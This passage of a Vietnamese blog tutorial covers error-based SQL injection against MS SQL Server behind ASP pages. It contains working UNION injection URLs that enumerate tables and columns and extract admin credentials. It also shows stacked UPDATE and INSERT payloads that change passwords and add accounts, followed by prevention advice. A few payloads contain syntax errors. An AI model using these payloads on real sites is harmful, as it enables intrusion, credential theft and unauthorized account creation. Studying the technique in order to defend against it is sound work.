Các thông báo lỗi của MS SQL Server thường đưa cho bạn những thông tin quan trọng. Lấy ví dụ ở trên http://yoursite.com/index.asp?id=10, bây giờ chúng ta thử hợp nhất integer ‘10′ với một string khác lấy từ CSDL:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES–

Bảng INFORMATION_SCHEMA.TABLES của hệ thống SQL Server chứa thông tin về tất cả các bảng (table) có trên server. Trường TABLE_NAME chứa tên của mỗi bảng trong CSDL. Chúng ta chọn nó bởi vì chúng ta biết rằng nó luôn tồn tại. Query của chúng ta là:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES–

Dòng query này sẽ trả về tên của bảng đầu tiên trong CSDL

Khi chúng ta kết hợp chuỗi này với số integer 10 qua statement UNION, MS SQL Server sẽ cố thử chuyển một string (nvarchar) thành một số integer. Điều này sẽ gặp lỗi nếu như không chuyển được nvarchar sang int, server sẽ hiện thông báo lỗi sau:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘table1′ to a column of data type int.

/index.asp, line 5

Thông báo lỗi trên cho biết giá trị muốn chuyển sang integer nhưng không được, “table1″. Đây cũng chính là tên của bảng đầu tiên trong CSDL mà chúng ta đang muốn có.

Để lấy tên của tên của bảng tiếp theo, có thể dùng query sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (‘table1′)–

Cũng có thể thử tìm dữ liệu bằng cách khác thông qua statement LIKE của câu lệnh SQL:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ‘%25login%25′–

Khi đó thông báo lỗi của SQL Server có thể là:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘admin_login’ to a column of data type int.

/index.asp, line 5

Mẫu so sánh ‘%25login%25′ sẽ tương đương với %login% trong SQL Server. Như thấy trong thông báo lỗi trên, chúng ta có thể xác định được tên của một table quan trọng là “admin_login”.

8. Xác định tên của các column trong table

Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các column trong table. Có thể khai thác như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’–

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_id’ to a column of data type int.

/index.asp, line 5

Như vậy tên của column đầu tiên là “login_id”. Để lấy tên của các column tiếp theo, có thể dùng mệnh đề logic NOT IN () như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (‘login_id’)–

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_name’ to a column of data type int.

/index.asp, line 5

Làm tương tự như trên, có thể lấy được tên của các column còn lại như “password”, “details”. Khi đó ta lấy tên của các column này qua các thông báo lỗi của SQL Server, như ví dụ sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (‘login_id’,'login_name’,'password’,details’)–

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14′

[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.

/index.asp, line 5

9. Thu thập các dữ liệu quan trọng

Chúng ta đã xác định được các tên của các table và column quan trọng. Chúng ta sẽ thu thập các thông tin quan trọng từ các table và column này.

Có thể lấy login_name đầu tiên trong table “admin_login” như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login–

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘neo’ to a column of data type int.

/index.asp, line 5

Dễ dàng nhận ra được admin user đầu tiên có login_name là “neo”. Hãy thử lấy password của “neo” như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’neo’–

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘m4trix’ to a column of data type int.

/index.asp, line 5

Và bây giờ là đã có thể login vào với username là “neo” và password là “m4trix”.

10. Nhận các numeric string

Có một hạn chế nhỏ đối với phương pháp trên. Chúng ta không thể nhận được các error message nếu server có thể chuyển text đúng ở dạng số (text chỉ chứa các kí tự số từ 0 đến 9). Giả sử như password của “trinity” là “31173″. Vậy nếu ta thi hành lệnh sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’trinity’–

Thì khi đó chỉ nhận được thông báo lỗi “Page Not Found”. Lý do bởi vì server có thể chuyển passoword “31173″ sang dạng số trước khi UNION với integer 10. Để giải quyết vấn đề này, chúng ta có thể thêm một vài kí tự alphabet vào numeric string này để làm thất bại sự chuyển đổi từ text sang số của server. Dòng query mới như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b’%20morpheus’) FROM admin_login where login_name=’trinity’–

Chúng ta dùng dấu cộng (+) để nối thêm text vào password (ASCII code của ‘+’ là 0×2b). Chúng ta thêm chuỗi ‘(space)morpheus’ vào cuối password để tạo ra một string mới không phải numeric string là ‘31173 morpheus’. Khi hàm convert() được gọi để chuyển ‘31173 morpheus’ sang integer, SQL server sẽ phát lỗi ODBC error message sau:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘31173 morpheus’ to a column of data type int.

/index.asp, line 5

Và nghĩa là bây giờ ta cũng có thể login vào với username ‘trinity’ và password là ‘31173′

11. Thay đổi dữ liệu (Update/Insert) của CSDL

Khi đã có tên của tất cả các column trong table, có thể sử dụng statement UPDATE hoặc INSERT để sửa đổi/tạo mới một record vào table này.

Để thay đổi password của “neo”, có thể làm như sau:

http://yoursite.com/index.asp?id=10; UPDATE ‘admin_login’ SET ‘password’ = ‘newpas5′ WHERE login_name=’neo’–

Hoặc nếu bạn muốn một record mới vào table:

http://yoursite.com/index.asp?id=10; INSERT INTO ‘admin_login’ (‘login_id’, ‘login_name’, ‘password’, ‘details’) VALUES (666,’neo2′,’newpas5′,’NA’)–

Và bây giờ có thể login vào với username “neo2″ và password là “newpas5″

12. Ngăn chặn SQL Injection

Hãy loại bỏ các kí tự meta như ‘”/\; và các kí tự extend như NULL, CR, LF, … trong các string nhận được từ:

* input do người dùng đệ trình
* các tham số từ URL
* các giá trị từ cookie

Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi query SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer.

Thay đổi “Startup and run SQL Server” dùng mức low privilege user trong tab SQL Server Security.

Xóa các stored procedure trong database master mà không dùng như:

* xp_cmdshell
* xp_startmail
* xp_sendmail
* sp_makewebtask

13. Ngăn chặn SQL Injection trong ASP.NET

Các cách thức ngăn chặn SQL Injection được trình bày ở phần 12 đã bao quát đủ phương pháp, nhưng trong ASP.NET có cách ngăn chặn đơn giản là sử dụng các Parameters khi làm việc với object SqlCommand (hoặc OleDbCommand) chứ không sử dụng các câu lệnh SQL trực tiếp. Khi đó .NET sẽ tự động validate kiểu dữ liệu, nội dung dữ liệu trước khi thực hiện câu lệnh SQL.

Ngoài ra, cũng cần kiểm soát tốt các thông báo lỗi. Và mặc định trong ASP.NET là thông báo lỗi sẽ không được thông báo chi tiết khi không chạy trên localhost.
13. Tài liệu thao khảo

* How I hacked PacketStorm (Rain Forest Puppy)http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6
* Great article on gathering information from ODBC error messages
http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc
* A good summary of SQL Injection on various SQL Server on http://www.owasp.org/asac/input_validation/sql.shtml
* Senseport’s article on reading SQL Injection http://www.sensepost.com/misc/SQLinsertion.htm
* Khác:
http://www.digitaloffense.net/warga…/IOWargames.ppt
http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6
http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6

(Sưu tầm từ internet)

Đăng trong Uncategorized | Leave a Comment »